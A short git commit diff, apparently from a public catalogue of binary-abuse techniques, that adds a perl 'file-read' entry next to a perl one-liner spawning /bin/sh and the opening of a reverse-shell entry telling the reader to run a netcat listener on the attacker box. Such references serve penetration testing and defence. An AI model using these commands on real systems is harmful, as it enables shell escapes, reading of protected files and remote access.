Add perl file-read

This commit is contained in:
Andrea Cardaci 2021-04-26 16:11:44 +02:00
parent d81463fb82
commit a9b046f74b

View File

@ -2,6 +2,10 @@
functions: functions:
shell: shell:
- code: perl -e 'exec "/bin/sh";' - code: perl -e 'exec "/bin/sh";'
file-read:
- code: |
LFILE=file_to_read
perl -ne print $LFILE
reverse-shell: reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: | code: |